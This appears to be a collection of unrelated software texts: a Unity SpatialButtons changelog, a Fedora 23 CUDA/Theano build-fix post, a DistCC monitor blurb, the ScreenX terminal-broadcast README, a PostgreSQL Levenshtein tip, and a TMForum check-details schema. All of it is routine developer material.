* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([d7c7bba](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/d7c7bbac9d67fb60d18f77cfc13751a826332a26))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.0 to 1.7.1. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.0...v1.7.1)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.3.3](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.2...v1.3.3) (2021-04-15)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([00d9b22](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/00d9b2269e13a7f62c9125d4830cc2c565f78768))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.6.1 to 1.7.0. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.6.1...v1.7.0)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.3.2](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.1...v1.3.2) (2021-04-07)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([0a1956f](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/0a1956f7938629017220199c10ec7663ca21650c))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.6.0 to 1.6.1. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.6.0...v1.6.1)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.3.1](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.0...v1.3.1) (2021-04-07)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([ebae3c7](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/ebae3c7f86f48e755404738bcd48a2700723187e))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.5.10 to 1.6.0. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.5.10...v1.6.0)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
## [1.3.0](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.11...v1.3.0) (2021-04-07)

#### Features

* **Utility:** add prefab creator ([9027964](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/902796497a5f554ce585279bec3b52b2e00199bf))
  > The latest version of Zinnia has the basis of a prefab creator that can be used to enable easy adding of prefabs to a scene without needing to drag and drop from directories. Instead a new menu item is added for quickly adding prefabs. The guide has been updated to accommodate this and the FodyWeavers.xml is now located in the root to serve both the Runtime and Editor scripts.

#### Bug Fixes

* **package.json:** add missing reference to Editor directory ([432c3d9](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/432c3d997ce335272b783339c1f970970e3d9460))
  > The build will fail without referencing this new Editor directory so it has now been added to the package.

### [1.2.11](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.10...v1.2.11) (2021-03-29)

#### Bug Fixes

* **package.json:** reduce textmeshpro version for older Unity vrsions ([4c39188](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/4c3918831c8be6de98839dda4aea24d157dee79d))
  > TextMeshPro is only supported up to v1.3.0 on older versions of Unity so this should be the base installed version and should be left to be manually updated in newer versions of unity.

### [1.2.10](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.9...v1.2.10) (2021-03-29)

#### Bug Fixes

* **package.json:** bump textmeshpro to latest version ([42e944c](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/42e944c215272a414d1445b504de98a70c53e889))
  > The version of Text Mesh Pro has been updated to a much newer version.

### [1.2.9](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.8...v1.2.9) (2021-03-29)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([ba85564](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/ba855646b3c7fa2343cfa4c953bb65d3bfb0e8db))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.5.9 to 1.5.10. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.5.9...v1.5.10)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.2.8](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.7...v1.2.8) (2021-03-29)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([8d144fe](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/8d144fed66cd23f8ca38bd68b865b6d8e0c9ac5f))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.5.8 to 1.5.9. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.5.8...v1.5.9)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.2.7](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.6...v1.2.7) (2021-03-03)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([98df8ff](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/98df8ffd0abb69e6ee6275af9feac5a955bd9f4a))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.5.7 to 1.5.8. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.5.7...v1.5.8)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.2.6](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.5...v1.2.6) (2021-03-03)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([19c9f1a](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/19c9f1aae2fd39550558e79be71c13d1c675add7))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.5.6 to 1.5.7. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.5.6...v1.5.7)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.2.5](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.4...v1.2.5) (2021-02-27)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([741013f](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/741013fde163ba4449b0a66590f46cd3fae8bb7f))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.5.5 to 1.5.6. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.5.5...v1.5.6)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.2.4](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.3...v1.2.4) (2021-02-27)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([add33d4](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/add33d48d956be23f2ea8fdad33c3226a1c8b4dc))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.5.4 to 1.5.5. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.5.4...v1.5.5)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.2.3](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.2...v1.2.3) (2021-02-07)

#### Bug Fixes

* **prefabs:** force apply TextMeshPro styles when state is enabled ([bfb0f88](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/bfb0f8886862294c7455dbf9c419011a4dbe015c))
  > There is an issue in later versions of Unity where if the TextMeshPro component is not enabled in the scene then it does not apply the state styles to the TextMeshPro component. This fix uses a BehaviourEnabledObserver to check to see whtn the TextMeshPro for each style is enabled and then force applies the styles.

### [1.2.2](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.1...v1.2.2) (2021-02-06)

#### Bug Fixes

* **prefabs:** allow option group buttons to be touched on and off ([8a9d091](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/8a9d091736b21b9a8b28ac53000a09732bdfd6a0))
  > There was an issue where Option buttons would not toggle each other on and off because the Select action was going through the SpatialTarget and an Option group needs the Spatial Dispatcher to dispatch the Select action so it knows which other buttons to dispatch the Deselect action to.
  >
  > The SpatialButton.OptionButton prefab now uses the SpatialButtonConfigurator Select action as this goes through the correct dispatcher when dealing with button groups.

### [1.2.1](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.2.0...v1.2.1) (2021-02-04)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([446da30](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/446da30feacff95e55b648755e75eb58926cd60d))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.5.1 to 1.5.3. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.5.1...v1.5.3)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
## [1.2.0](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.1.1...v1.2.0) (2021-02-04)

#### Features

* **prefabs:** add ability to touch spatial buttons with objects ([8037bec](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/8037bec67b5be790fc26fe996a9f7aa54792f70d))
  > The new CollidableObjects property allows any specified object to interact with the spatial button, so if Interactors are added to it then they will be able to touch the button and the hover state is controller by the larger trigger collider.

### [1.1.1](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.1.0...v1.1.1) (2021-01-31)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([8ab7b40](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/8ab7b400822be412cbf705c7f97250a930e21255))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.3.2 to 1.4.1. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.3.2...v1.4.1)
  >
  > Signed-off-by: dependabot-preview[bot]<EMAIL_ADDRESS>
## [1.1.0](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.0.5...v1.1.0) (2021-01-11)

#### Features

* **HowToGuides:** add guide for option buttons ([2df0363](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/2df0363e9b08aae912f7f691deef11b0ec76df66))
  > A new guide has been added showing how to create a group of option buttons.
* **HowToGuides:** add guide for toggle button ([e24eb0d](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/e24eb0d3b874017112dc7fe540bfad7063323700))
  > A new guide has been added showing how to add a toggle button and also how to use the Spatial Target Processor along with the Button Groups to make this guide a bit more worthwhile.
* **HowToGuides:** add guide on how to add click button ([714c1cb](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/714c1cb931961b3f2f8c5a987df4419b057e4e95))
  > A new guide has been added to show how to add a simple click button to a scene.

### [1.0.5](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.0.4...v1.0.5) (2021-01-09)

#### Bug Fixes

* **prefab:** ensure inner events are propagated to facade events ([8aeaa90](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/8aeaa90c83d0f60981d409f5eb7ca964f7573d9f))
  > The Facade events were not doing anything because the inner events had not been linked to notify the Facade to raise the event.

### [1.0.4](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.0.3...v1.0.4) (2021-01-07)

#### Bug Fixes

* **HowToGuides:** add step to install TextMeshPro dependencies ([7f75062](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/7f750625dcc2f25d867bf6f947809cef5932578c))
  > The installation guide now includes the steps required to install the TextMeshPro depdendencies via the TMP Importer popup window.

### [1.0.3](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.0.2...v1.0.3) (2021-01-07)

#### Bug Fixes

* **API:** add missing API documentation ([64ab7a8](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/64ab7a8e8329a0ac46299b168b74bf1e53d9e4d4))
  > The API docs have been auto generated for the latest changes.

### [1.0.2](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.0.1...v1.0.2) (2021-01-07)

#### Bug Fixes

* **prefab:** update ActiveButtonIndex when group button changes ([3b327af](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/3b327af37473bd1911a990399b673dcf2513a68f))
  > The ActiveButtonIndex property will now correctly reflect the actual selected button and not only used for the initial set.

### [1.0.1](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.0.0...v1.0.1) (2021-01-07)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([fc21a02](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/fc21a02934567e120f219f7e350e6566e554119c))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.3.0 to 1.3.2. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.3.0...v1.3.2)
  >
  > Signed-off-by: dependabot-preview[bot]<EMAIL_ADDRESS>
## 1.0.0 (2021-01-06)

#### Features

* **SpatialButton:** add prefabs for spatial button types ([dd57e18](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/dd57e18037644c6a1dda18c67772978744c55ee1))
  > The new Spatial Button prefabs have been added in the following types:
  >
  > * ClickButton - a simple button that is clicked on and auto off * ToggleButton - a button that is toggled on and off per click * OptionButton - a button used as a group of buttons for options
  >
  > The Group prefab also allows SpatialButtons to be grouped into a distinct group to be processed via a distinct dispatcher.
* **structure:** add initial documentation content ([c98a364](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/c98a3641b10cd1ae65cd07fd2f1f95bf31fdc1e8))
  > The content of documentation and other supplement files has been added to the repo.


text:
---
date: 2016-04-07
title: Nvidia (7.0) installation for Theano on Fedora 23
category: OSS
tags:
- fedora
- linux
- Nvidia
- theano
layout: post
published: true
---
{% include JB/setup %}

### Extra Fix required for Nvidia NVCC to work under Fedora 23

Fedora 23 changed a default ```gcc``` ABI setting from that which was used in Fedora 22.  The previous value
was chosen so that the default compiler behaviour matched earlier versions of ```gcc``` as closely as possible, so this
change actually broke systems that want the earlier behaviour : In our case, Nvidia's tool chain.

This has to be fixed by adding additional options into the ```NVCC``` invocations.  Doing this
is not so easy, since Theano (ideally) insulates the programmer from these kinds of details.

The following instructions build upon the previous Fedora 22 version.

### Fix the CUDA headers to accept new ```gcc``` (5.3.1 for Fedora 23)

Now, as ```root```, fix up Nvidia's header file that disallows ``gcc`` greater than ``v4.9``...

In file ``/usr/local/cuda-7.0/include/host_config.h``, look to make the following replacement :

{% highlight c++ %}
// #if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ > 9)  // Old version commented out
// This is the updated line, which guards again gcc > 5.4.x instead
#if __GNUC__ > 5 || (__GNUC__ == 5 && __GNUC_MINOR__ > 4)
{% endhighlight %}

### Prove that it's still broken

As a regular user, let's try out one of the CUDA samples from within a clean directory (and then fix it):

{% highlight bash %}
cd ~        # for instance
mkdir cuda  # for instance
cd cuda
rsync -av /usr/local/cuda/samples .
cd samples/
cd 0_Simple/asyncAPI/
make
{% endhighlight %}

... this will FAIL, with a nasty looking message like these ::
{% highlight bash %}
/usr/include/c++/5.3.1/bits/locale_classes.tcc:283:23: error: template argument required for ‘class collate_byname’
/usr/include/c++/5.3.1/bits/locale_classes.tcc:285:23: error: ‘collate’ is not a template function
/usr/include/c++/5.3.1/bits/locale_classes.tcc:285:30: error: expected ‘;’ before ‘<’ token
/usr/include/c++/5.3.1/bits/locale_classes.tcc:289:22: error: parse error in template argument list
/usr/include/c++/5.3.1/bits/locale_classes.tcc:289:22: error: template-id ‘has_facet<<expression error> >’ for ‘bool std::has_facet(const std::locale&)’ does not match any template declaration
{% endhighlight %}

### Fix the CUDA functionality

Edit the ```Makefile``` within that directory, adding the ```-D_GLIBCXX_USE_CXX11_ABI=0``` line :

{% highlight bash %}
ALL_CCFLAGS :=
ALL_CCFLAGS += $(NVCCFLAGS)

## Add the following ::
ALL_CCFLAGS += -D_GLIBCXX_USE_CXX11_ABI=0

ALL_CCFLAGS += $(EXTRA_NVCCFLAGS)
ALL_CCFLAGS += $(addprefix -Xcompiler ,$(CCFLAGS))
ALL_CCFLAGS += $(addprefix -Xcompiler ,$(EXTRA_CCFLAGS))
{% endhighlight %}

then, running ```make``` again should work without complaint, and running ```./asyncAPI``` should produce results like ::
{% highlight bash %}
[./asyncAPI] - Starting...
GPU Device 0: "GeForce GTX TITAN X" with compute capability 5.2

CUDA device [GeForce GTX TITAN X]
time spent executing by the GPU: 11.26
time spent by CPU in CUDA calls: 0.02
CPU executed 48864 iterations while waiting for GPU to finish
{% endhighlight %}

If that works, then we can move on to fixing the issue within Theano...

### Theano stuff - command line

Using the same ```gpu_check.py``` as given in the Fedora 22 instructions, the following command-line should FAIL :

{% highlight python %}
THEANO_FLAGS=mode=FAST_RUN,floatX=float32,device=gpu   python gpu_check.py
""" output is (among other stuff) ::
*FAILURE...*
"""
{% endhighlight %}

This should work, though, if we supply an additional flag related to ```NVCC``` (for when it is invoked deep inside ```Theano```) :

{% highlight bash %}
THEANO_FLAGS=mode=FAST_RUN,floatX=float32,device=gpu,nvcc.flags='-D_GLIBCXX_USE_CXX11_ABI=0'   python gpu_check.py
""" output is ::
Using gpu device 0: GeForce GTX 760
[GpuElemwise{exp,no_inplace}(<CudaNdarrayType(float32, vector)>), HostFromGpu(GpuElemwise{exp,no_inplace}.0)]
Looping 1000 times took 0.339042901993 seconds
Result is [ 1.23178029  1.61879349  1.52278066 ...,  2.20771813  2.29967761 1.62323296]
Used the gpu
"""
{% endhighlight %}

### Theano stuff - within a program

To achieve the same effect via program code within a module that uses ```Theano```, add an extra line after the standard Python import 'preamble' :

{% highlight python %}
import theano
from theano import tensor

floatX = theano.config.floatX = 'float32'

## Required for fedora 23 compilation of NVCC code...
theano.config.nvcc.flags = '-D_GLIBCXX_USE_CXX11_ABI=0'
{% endhighlight %}

### Theano stuff - in the ```~/.theanorc``` file

To achieve the same effect using your ```.theanorc``` file, add the following section (the config file format doesn't seem to object to the second '='):

{% highlight bash %}
[nvcc]
flags=-D_GLIBCXX_USE_CXX11_ABI=0
{% endhighlight %}


text:
## DistCC 'top'
Originally published: 2011-10-31 18:26:44
Last updated: 2013-12-01 11:19:56
Author: Mike 'Fuzzy' Partin

A small recipe for a curses based, 'top'-like monitor for DistCC. I know there is already distccmon-text, but I don't like it, and much prefer this sytle of monitoring. Note that I don't keep hosts around in the list like distccmon-gui/gnome. The screen is drawn for exactly what is currently in state. The terminal size is respected at initialization time, however resize events aren't handled. There is color designation of job types.

gha_language: Python


text:
# What's screenx?

NOTE: This is an obsolete repo. If you'd like to see/contribute to the latest code of [ScreenX TV](http://screenx.tv/), check out [screenxtv/screenxtv-core](https://github.com/screenxtv/screenxtv-core/) repository.

### ScreenX is a real-time terminal broadcasting system. It enables you to broadcast your screen and control it from web browser.

![Screenshot of ScreenX](https://dl.dropbox.com/u/2819285/screenx-ss.png)

## Requirements
- `screen` command (`sudo aptitude install screen` for Unix-like system user)

  A screen named "screenx" will be broadcasted. (ex. `screen -x screenx`).

- `java` and `javac` commands to build and run

- `g++` command to build

## How to use

1. download source code of ScreenX:

   `git clone https://github.com/screenxtv/screenx.git`.

2. build ScreenX:

   `cd screenx`

   `./build.sh` (make sure you can use `javac` and `g++`)

3. run Java server:

   `cd classes`

   `java ScreenX` (make sure you can use `java`)

       NOTE: if you'd like to run ScreenX in background, use `nohup java ScreenX &` instead.

4. start broadcasting your screen:

   `screen -x screenx`

5. create symbolic links of `html/*` to, for example, `/var/www/`:

   e.g. `sudo ln -s html/* /var/www/` on Zsh

6. open `http://[hostname]:[port]/screenx.html` with your web browser.

   Then, you can see your screen is being broadcasted like the screenshot on the top! Enjoy :-)

## Settings

- `html/`:

     - `login.html`:   to login from web (any screenname)
     - `sxlogin.html`: to login (default screenname is `screenx`) + chat
     - `screenx.html`: to watch the broadcasted screen named `screenx` + chat

- For configuration, edit `classes/screenx.conf`: and restart screenx server.
     - `HttpPort` / `HttpsPort`: you should also edit `http/sxconfig.js`
     - `EnableLogin`: login from web (only https)
     - `EnableHttpLogin`: login from http
     - `LoginPassword`: change this before you enable login. (algorithm: challangecode)

## Use case

Maybe you can use this sytem for the following scenes:

1. Coding Interview
2. Remote Pair-programming
3. Real-time Hackathon

Of course you can use ScreenX in any other situations not listed above :-)

## System Architecture

![ScreenX architecture](http://cdn-ak.f.st-hatena.com/images/fotolife/t/tompng/20120901/20120901160226.png)

## About security

__It's true that ScreenX creates some kind of security holes.__ So, we strongly recommend to run this system on your sandbox-like server first, a server that doesn't have any secret information and no problems whenever down. For example, using [RackHub](http://rackhub.net) and [this 1 line setup gist](https://gist.github.com/3547668), you can easily setup and initialize server with very low cost.

If you use this system on not such servers, we recommend to read the code before running ScreenX in order to understand how dangerous it is. And please do it at your own risk.

## Related Works

- [ScreenX TV](http://screenx.tv/)
- [ScreenX TV Core](https://github.com/screenxtv/screenxtv-core/)
- [ScreenX TV GCC Client](https://github.com/screenxtv/screenxtv-gcc-client)
- [ScreenX TV Ruby Client](https://github.com/screenxtv/screenxtv-ruby-client)
- [ScreenX TV Sandbox](https://github.com/screenxtv/screenxtv-sandbox)
- [ScreenX TV News](https://github.com/screenxtv/screenxtv-news)
- [ScreenX](https://github.com/screenxtv/screenx) (Java-based stand-alone Software)

## Contact

If you find any issue on ScreenX, please let us know it on [this issue tracking system](https://github.com/tompng/screenx/issues).

Also, we're very welcome to your pull requests.

## License

(The MIT License)

Copyright (c) 2012 tomoya ishida

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

repository: screenxtv/screenx

repo_name: screenxtv/screenx


text:
---
title: "TIL: Calculating Levenshtein Differences in PostgreSQL"
date: "2018-10-31T10:31:00-04:00"
---

Today's OMG, PostgreSQL does that too award goes to the [fuzzystrmatch extension](https://www.postgresql.org/docs/9.6/static/fuzzystrmatch.html).

By enabling this extension, you get access to a whole host of useful string functions. The one I am most interested in today is Levenshtein.

> This function calculates the Levenshtein distance between two strings

This is really helpful for comparing the differences between two strings. Even better, using this extension you can add directly to your SQL queries and avoid loading a bunch of data in memory.

It is not enabled on Posgresql by default.

To enable it:

```sql
CREATE EXTENSION fuzzystrmatch
```

Or via a Rails Migration:

```ruby
class AddFuzzystrExt < ActiveRecord::Migration[5.0]

  def change
    enable_extension 'fuzzystrmatch'
  end

end
```

And then you can do something like this on your models:

```ruby
module LevenshteinDifference
  extend ActiveSupport::Concern

  included do
    scope :levenshtein_difference,
      -> (column, text, min_allowed) {
        column_name = connection.quote_column_name(column)
        sql = "levenshtein(#{table_name}.#{column_name}, :text) <= :min_allowed"
        where(sql, column: column, text: text, min_allowed: min_allowed)
      }
  end
end

YourModel.levenshtein_difference(:name, "Bob", 3)
```

gha_language: JavaScript


text:
# Check details Data Model

## Domain

The  schema is part of the  Domain

## Description

Detailed information of a check

## Data model

A JSON Schema corresponding to this data model can be found
[here](https://github.com/tmforum-rand/schemas/blob/candidates/Customer/CheckDetails.schema.json).

The Data model is defined as shown below:

- `bank` : Bank performing the payment of the check

  - Optional

- `code` : Unique identifier of the check

  - Optional

- `date` : Date when the check was signed

  - Optional

- `drawer` : Person or entity writing the check

  - Optional

- `payee` : Person or entity the check is addressed to

  - Optional

## TMForum APIs that use this schema

